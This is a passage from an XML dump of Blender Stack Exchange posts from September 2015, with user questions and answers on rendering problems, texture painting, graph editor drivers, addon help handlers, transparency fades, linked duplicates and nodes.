LastEditDate="2015-09-05T18:37:10.387" LastActivityDate="2015-09-05T18:37:10.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38083" PostTypeId="1" CreationDate="2015-09-05T18:46:25.727" Score="3" ViewCount="777" Body="&lt;p&gt;Whenever I try to render a file (it's a bear based on a tutorial from youtube) Blender crashes after finishing Building BVH. Is there a way to prevent that or it's helpless?&lt;/p&gt;&#xA;" OwnerUserId="17929" LastActivityDate="2015-09-05T18:46:25.727" Title="How to avoid crashing?" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38085" PostTypeId="1" CreationDate="2015-09-05T19:59:10.270" Score="1" ViewCount="1369" Body="&lt;p&gt;How do I paint a texture onto an already textured object? How do I do that? I have human with a skin texture and I want to paint a lip texture on his lips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B2ZiQtohl3tmdUc0cnhuTmpqYjQ/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/file/d/0B2ZiQtohl3tmdUc0cnhuTmpqYjQ/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres the blend file.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-09-06T22:30:15.927" LastActivityDate="2015-09-07T02:59:39.540" Title="How do I paint a texture onto an already textured object?" Tags="&lt;image&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="38086" PostTypeId="1" CreationDate="2015-09-05T20:11:44.010" Score="3" ViewCount="1159" Body="&lt;p&gt;I have encountered a problem where my driver would not show in the graph editor while viewing Layer 1 and layer 11. I discovered that moving the wheels in question would show the driver in the graph editor in layer 3? Although the driver worked in the said layers but did not show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ebd61.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ebd61.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tFNol.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tFNol.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16012" LastEditorUserId="599" LastEditDate="2015-09-05T20:28:40.340" LastActivityDate="2018-03-21T18:06:37.390" Title="Driver not always visible in the graph editor?" Tags="&lt;drivers&gt;&lt;layers&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38088" PostTypeId="2" ParentId="38086" CreationDate="2015-09-05T20:24:31.980" Score="3" Body="&lt;p&gt;You have &lt;em&gt;Show only selected&lt;/em&gt; enabled in the graph editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Iih5h.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iih5h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this setting is enabled, only drivers and fcurves belonging to selected objects will be shown.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-09-05T20:24:31.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38089" PostTypeId="1" CreationDate="2015-09-05T21:47:20.717" Score="1" ViewCount="129" Body="&lt;p&gt;I have an addon with awkward complicated work flows.  My users frequently get frustrated.  Until I can fix that fundamental problem, I would like to make a little floating &quot;wizard&quot; which attempts to guide them along by assesing custom blend data related to my addon.  I have some loose ideas that I will be trying (outlined below).  Any tips or hints greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The user will have to initiate or stop the &quot;wizard&quot; with an operator, because the wizard will need to access blend data, doing this at Addon registration will not work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The operator will add a persistent 'scene_update_post' app handler.  This persistent function which will asses the custom data and blend file data, and generate some &quot;helpful&quot; instructions whenever the scene updates. These instructions will be stored as text data as a global at the &quot;help.py&quot; module level.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The operator will register a draw callback, which parses and displays the text data generated by the persistent app handler.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When unregistering the addon, it will check for the existence of the app_handler and the draw_callback and unregister them&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/9357/how-to-manage-handlers-in-an-add-on&quot;&gt;How to manage Handlers in an add-on?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;There will be a &quot;close help&quot; operator which manually removes those handlers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MY_ADDON_OT_interactive_help(bpy.types.Operator):&#xA;    '''&#xA;    add gui help&#xA;    '''&#xA;    bl_idname='my_addon.start_help'&#xA;    bl_label=&quot;Start Helper Wizard&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;    if not hasattr(context.scene, 'my_addon_props'):&#xA;        return False&#xA;    return True&#xA;&#xA;    def execute(self, context):&#xA;        #add a app handler to asses info&#xA;        #add draw callback to display info&#xA;        global help_app_handle&#xA;        help_app_handle = bpy.app.handlers.scene_update_pre.append(my_addon_help_parser)&#xA;        global help_draw_handle&#xA;        help_draw_handle = bpy.types.SpaceView3D.draw_handler_add(my_addon_help_draw, (self, context), 'WINDOW', 'POST_PIXEL')&#xA;&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2772" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-09-07T15:13:37.410" Title="Persistent Floating Help Box in 3D View for Addon" Tags="&lt;python&gt;&lt;3d-view&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38091" PostTypeId="2" ParentId="36964" CreationDate="2015-09-06T01:16:26.860" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bge.types.KX_RaySensor.html#bge.types.KX_RaySensor.hitPosition&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;hitPosition&lt;/code&gt;&lt;/a&gt; of a Ray sensor will give you the coordinate of were a ray hits an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use it, add a &lt;em&gt;Ray&lt;/em&gt; sensor to the object and connect it to a &lt;em&gt;Python&lt;/em&gt; controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/A3qBn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A3qBn.png&quot; alt=&quot;Logic editor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a text block and enter the following script to access the &lt;code&gt;hitPosition&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;controller = bge.logic.getCurrentController()&#xA;owner = controller.owner&#xA;ray = owner.sensors[&quot;Ray&quot;]&#xA;&#xA;#world coordinates of where ray hit object&#xA;ray.hitPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, enter the script name in the &lt;em&gt;Python&lt;/em&gt; controller.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-09-06T01:16:26.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38092" PostTypeId="1" AcceptedAnswerId="38134" CreationDate="2015-09-06T03:40:55.903" Score="3" ViewCount="1455" Body="&lt;p&gt;I want to rotate one end of the mesh object (the vertex &lt;strong&gt;a&lt;/strong&gt; with the object's smallest &lt;em&gt;x&lt;/em&gt;-coordinate value) 0 degrees around the &lt;em&gt;x&lt;/em&gt;-axis, and the other end of the object (the vertex &lt;strong&gt;b&lt;/strong&gt; with the largest x-coordinate) &lt;em&gt;r&lt;/em&gt; degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other vertex &lt;strong&gt;v&lt;/strong&gt; of this object inbetween the aforementioned two should automatically be rotated around the &lt;em&gt;x&lt;/em&gt;-axis by an angle of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;r&lt;/em&gt; * (&lt;em&gt;x&lt;/em&gt;_&lt;strong&gt;v&lt;/strong&gt; - &lt;em&gt;x&lt;/em&gt;_&lt;strong&gt;a&lt;/strong&gt;) / (&lt;em&gt;x&lt;/em&gt;_&lt;strong&gt;b&lt;/strong&gt; - &lt;em&gt;x&lt;/em&gt;_&lt;strong&gt;a&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, the extent of the rotation should be proportional to the position of the vertex on the axis of rotation. What's the most straightforward way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="16869" LastActivityDate="2015-09-06T18:49:13.557" Title="How do I rotate a mesh object's vertices along an axis with a degree of rotation that increases along a linear gradient?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38093" PostTypeId="1" CreationDate="2015-09-06T04:11:31.750" Score="0" ViewCount="20" Body="&lt;p&gt;I set all materials in brender render. But I changed it to cycles. And changing materials again but only 2 mesh couldn't change. Cannot change even color it stays white. What should I do?&lt;/p&gt;&#xA;" OwnerUserId="17935" LastEditorUserId="2217" LastEditDate="2015-09-06T04:30:01.250" LastActivityDate="2015-09-06T04:30:01.250" Title="Nodes are not applied to a few meshes" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38094" PostTypeId="1" AcceptedAnswerId="38100" CreationDate="2015-09-06T04:40:06.517" Score="5" ViewCount="4833" Body="&lt;p&gt;I have a model that is made of a flat plane that has been sculpted in the middle.  I need to fade the edges of the plane gradually into transparency.  How do I accomplish this?  I am totally new to this!  Thank you for help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Response to Cegaton:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you, this works just as described on a new plane.  It is really just what i need, but it does not work on my model, which was modeled in Blender 2.7, if that makes any difference.  On my model, the adjustment only affects the top half of the mesh, and the bottom part is either translucent or opaque, with sharp edges.  I am baffled.  I will add that the model was made from a plane but many nips and tucks and extra rows of vertices have been added since the beginning.  I wonder if there is something about an older model that does not work with the new compositing options ('separate xyz'  was not available in 2.7).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PROBLEM SOLVED: The transparency begins at model's origin.  I moved the origin point from the center to the bottom of the model and now the transparency adjustment is operating exactly as demonstrated in Cegaton's answer.  &lt;/p&gt;&#xA;" OwnerUserId="17936" LastEditorUserId="17936" LastEditDate="2015-09-09T07:09:55.000" LastActivityDate="2015-09-09T07:09:55.000" Title="How do you fade the edges of a model?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;uv&gt;&lt;nodes&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38095" PostTypeId="1" AcceptedAnswerId="38102" CreationDate="2015-09-06T04:45:20.343" Score="1" ViewCount="136" Body="&lt;p&gt;I can duplicate objects, but I need one to be an exact copy of the mesh &lt;em&gt;at all times&lt;/em&gt;. That is, whenever object 1 moves because of an animation, gravity, logic, etc, the second will do the same. Other than just making a full duplicate so they have the same logic, how can I do this?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-09-08T05:15:09.720" Title="How do I make an object always be a duplicate of anything?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38096" PostTypeId="1" AcceptedAnswerId="39006" CreationDate="2015-09-06T04:54:42.373" Score="1" ViewCount="1957" Body="&lt;p&gt;As a present I got the Asus Geforce 210. I know that it is a very cheap graphics card, but is it possible to use it for cycles rendering?&lt;/p&gt;&#xA;" OwnerUserId="6433" LastEditorUserId="29" LastEditDate="2015-09-06T07:38:00.483" LastActivityDate="2015-09-23T16:06:45.363" Title="Geforce 210 with Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38097" PostTypeId="1" AcceptedAnswerId="38110" CreationDate="2015-09-06T05:02:47.010" Score="2" ViewCount="122" Body="&lt;p&gt;So I downloaded this &lt;a href=&quot;https://s3.amazonaws.com/ezs3ac34a26aa3f5ce6650303da779cb7c9b/Blender+Guru/BlenderGuru+-+Baking_PrisonHall.blend&quot; rel=&quot;nofollow&quot;&gt;blend&lt;/a&gt; file to figure out how to bake out textures. In the process I see that he has some very complex node set-ups all to end up seeing them not connected at the end. Why have such complex node systems just to not connect them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not the first time I've seen this. Please someone explain this logic to me.&lt;/p&gt;&#xA;" OwnerUserId="16576" LastActivityDate="2015-09-06T09:39:55.813" Title="Why do people not connect all their cycles nodes?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38098" PostTypeId="1" CreationDate="2015-09-06T05:03:59.740" Score="1" ViewCount="80" Body="&lt;p&gt;I have been trying to render an animated movie I made and before the rendering was doing what it was supposed to be doing: doing a sequence render where it renders everything I did in the VSe and the 3D default view...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that doesn't seem to be the case any more, I changed the render samples to 40 and I changed the resolution to 40%, now instead of doing a &quot;Sequence Render&quot; it's doing just a render... I want everything rendered out that I put into the VSE not just the Scene.&lt;/p&gt;&#xA;" OwnerUserId="16802" LastEditorUserId="2843" LastEditDate="2016-01-23T11:32:45.527" LastActivityDate="2016-01-23T11:32:45.527" Title="Render Problems with VSE" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2016-01-23T22:38:18.023" ContentLicense="CC BY-SA 3.0" />
  <row Id="38099" PostTypeId="2" ParentId="38096" CreationDate="2015-09-06T05:46:13.223" Score="5" Body="&lt;p&gt;Your card is no longer supported supported starting with blender 2.67.&#xA;Quote from the &lt;a href=&quot;https://www.blender.org/manual/render/cycles/gpu_rendering.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NVIDIA CUDA is supported for GPU rendering with NVIDIA graphics cards. We support graphics cards starting from GTX 4xx (computing capability 2.0).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And even if you made it work, (&lt;a href=&quot;https://blender.stackexchange.com/questions/1448/how-to-enable-gpu-rendering-on-older-nvidia-gpus&quot;&gt;See this post&lt;/a&gt;) that card has only 16 cuda cores. Rendering on CPU is going much faster...&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-09-06T05:46:13.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38100" PostTypeId="2" ParentId="38094" CreationDate="2015-09-06T06:16:38.547" Score="8" Body="&lt;p&gt;Suppose you sculpted this beauty out of a plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/taqfQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/taqfQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the flat area transparent you can create a node setup like this, where the transparency is controlled by the height (Z axis) of the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/audnP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/audnP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are working on an older version of blender that doesn't have the separate XYZ you can use a separate RGB node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UUlz7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UUlz7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For finer control on the transparency use a Vector-&gt;Mapping node. By moving the Location values on the Z axis you can determine the height where the transition starts, and by moving the sliders on the color ramp you can determine how smooth the transition will be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1CxbL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1CxbL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ndzxk.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ndzxk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-09-07T16:04:57.267" LastActivityDate="2015-09-07T16:04:57.267" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38101" PostTypeId="2" ParentId="33706" CreationDate="2015-09-06T07:09:25.727" Score="6" Body="&lt;p&gt;One way is with a &lt;a href=&quot;http://blender.org/manual/modeling/objects/duplication/dupligroup.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;DupliGroup&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Group your object(s) with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a dupligroup with &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Group Instance &gt;&lt;/em&gt; name of your group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will create an empty which represents the origin point (&lt;code&gt;0,0,0&lt;/code&gt;) of the space in which the duplicated group resides. By transforming this empty, you can transform the dupligroup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SEdDa.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SEdDa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dupliobjects use &lt;em&gt;instancing&lt;/em&gt;, which means this will also be &lt;a href=&quot;https://blender.stackexchange.com/a/9209/599&quot;&gt;very memory efficient&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-09-06T07:09:25.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38102" PostTypeId="2" ParentId="38095" CreationDate="2015-09-06T07:10:29.067" Score="1" Body="&lt;p&gt;If you duplicate the object in question using &lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; as oppose to &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; The objects will be linked. Anything done to either object should be reflected with the other(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;br&gt;&#xA;Do note &lt;a href=&quot;http://wiki.blender.org&quot; rel=&quot;nofollow&quot;&gt;wiki.blender.org&lt;/a&gt; is a viable resource when looking for information like this.&lt;br&gt;&#xA;The entry found &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modeling/Objects/Duplication&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; directly pertains to your question.&lt;/p&gt;&#xA;" OwnerUserId="15507" LastActivityDate="2015-09-06T07:10:29.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38104" PostTypeId="2" ParentId="38057" CreationDate="2015-09-06T07:45:22.287" Score="1" Body="&lt;p&gt;OK, after running the script and looking the mesh, I can say that this is a clear case of overlapping faces, created due to heavy stretching of triangles on top of each other, especially in the center area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FvCFs.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FvCFs.jpg&quot; alt=&quot;Overlapping triangles&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can probably avoid this if you somehow generate more geometry in these heavily stretched areas (perhaps calculate each face's area in each iteration and subdivide any face that's above a certain area?). This will make sure you don't get huge highly stretched tris overlapping each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be trickier to reduce density in areas that don't need it, though, since in your animation some stretched areas will later have hardly any stretch at all.&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-09-06T07:45:22.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38105" PostTypeId="2" ParentId="38095" CreationDate="2015-09-06T07:52:02.163" Score="1" Body="&lt;p&gt;In addition to Terus' answer, there are several ways to assure that translations of one object are also reflected in another object. These include parenting, constraints and drivers, to name a few.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest solution will be parenting the duplicate to the source (which will be the parent). Select the duplicate, then the source, then press Ctrl + P, then &quot;Parent to Object&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you move the source, the duplicate will move the same way. This also applies for rigid body sims and animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn more about the other methods, read about &lt;a href=&quot;http://www.blender.org/manual/rigging/constraints/index.html&quot; rel=&quot;nofollow&quot;&gt;constraints&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/manual/animation/basics/drivers.html&quot; rel=&quot;nofollow&quot;&gt;drivers&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="3401" LastEditDate="2015-09-06T08:09:12.273" LastActivityDate="2015-09-06T08:09:12.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38106" PostTypeId="1" CreationDate="2015-09-06T07:57:22.623" Score="3" ViewCount="648" Body="&lt;p&gt;Whenever I render my scene, it always renders a previous render which I had done for testing purposes a while ago. It's not an animation or anything, just a still shot of a car I modelled with some lights to make it shiny (putting that detail there just encase it's useful). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched around online for an answer, where I found another person with a similar problem to mine, yet his was fixed by deleting a strip in the VSE (video sequence editor) and I don't have any strips in mine, so it was not helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the model: &lt;a href=&quot;http://www.pasteall.org/blend/37866&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/37866&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you get the model, switch the top right viewport to the &quot;viewport render&quot; mode to see how it's suppose to look, and then do a proper (low sample) render just to see what I mean)&lt;/p&gt;&#xA;" OwnerUserId="17938" LastActivityDate="2015-09-06T14:03:55.687" Title="Continuously renders a previous rendered version, not what is currently in the scene (Cycles Render)" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38108" PostTypeId="2" ParentId="38106" CreationDate="2015-09-06T08:40:37.967" Score="3" Body="&lt;p&gt;In your case the difference between the viewport and final render is caused by some emission objects which are hidden only in the final render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;Outliner&lt;/em&gt; there are eye and camera icons that control the visibility of a given object in the viewport and final render, respectively:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/istee.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/istee.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objects with the camera icon disabled will not affect the final render.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-09-06T08:40:37.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38110" PostTypeId="2" ParentId="38097" CreationDate="2015-09-06T09:39:55.813" Score="2" Body="&lt;p&gt;the disconnected nodes are the original materials (textured, with normal maps, diffuse and glossy shader), the connected nodes are the baked materials (baked texture plugged to emission shader)&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-09-06T09:39:55.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38111" PostTypeId="1" AcceptedAnswerId="38113" CreationDate="2015-09-06T10:26:27.667" Score="8" ViewCount="1982" Body="&lt;h2&gt;The problem, and what I've tried so far&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From the screen shot you can see that sky-blue from the mist color is leaking through the trees due to white spots that are occurring in the mist pass on the tree particles. I have no idea what is causing these anomalous white patches in the mist pass. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MwOUo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MwOUo.jpg&quot; alt=&quot;White areas showing up in mist pass&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created this very simple file to illustrate the problem, but the tree itself was pasted in from a larger project and was created using the Sapling add-on then converted to a mesh for particle use. I gave it a new and very basic leaf material, but the problem persisted, so I believe it is not a problem originating with the material. I tried increasing the number of bounces, thinking it was an issue with the transparency of all the leaf planes, but that didn't help either. I tried flipping the normals of the leaf planes, as well as checking &quot;Double Sided&quot; in the Mesh Context, but it made no difference. To clarify, I am using Cycles.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A similar issue&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://blender.stackexchange.com/questions/6536/hair-particles-unaffected-by-mist&quot;&gt;another question here&lt;/a&gt; that at first looked to be the same, but that person was using Blender Internal, and using hair particles instead of object particles. The solution is their case was specific to Blender Internal, it seems.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;More details&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When I tried reproducing the problem using simple cube particles I could not. It appears there is something different about these trees. It's quite puzzling. And notice that some parts of the tree have the correct mist depth while others have the problem. Also note that the problem does not show up in viewport rendering, only in the final render. It's not specific to particles either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/473/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=473&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-09-06T12:18:06.880" Title="What causes this mist pass glitch?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;render-passes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38112" PostTypeId="1" AcceptedAnswerId="38118" CreationDate="2015-09-06T11:02:51.547" Score="10" ViewCount="2581" Body="&lt;p&gt;I'm a bit new to Blender, and in trying to learn more, I've stumbled across nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are nodes, and how do I use them?&lt;/p&gt;&#xA;" OwnerUserId="17941" LastEditorUserId="3710" LastEditDate="2015-12-17T16:18:43.297" LastActivityDate="2015-12-17T16:18:43.297" Title="What are nodes, and how do I use them?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
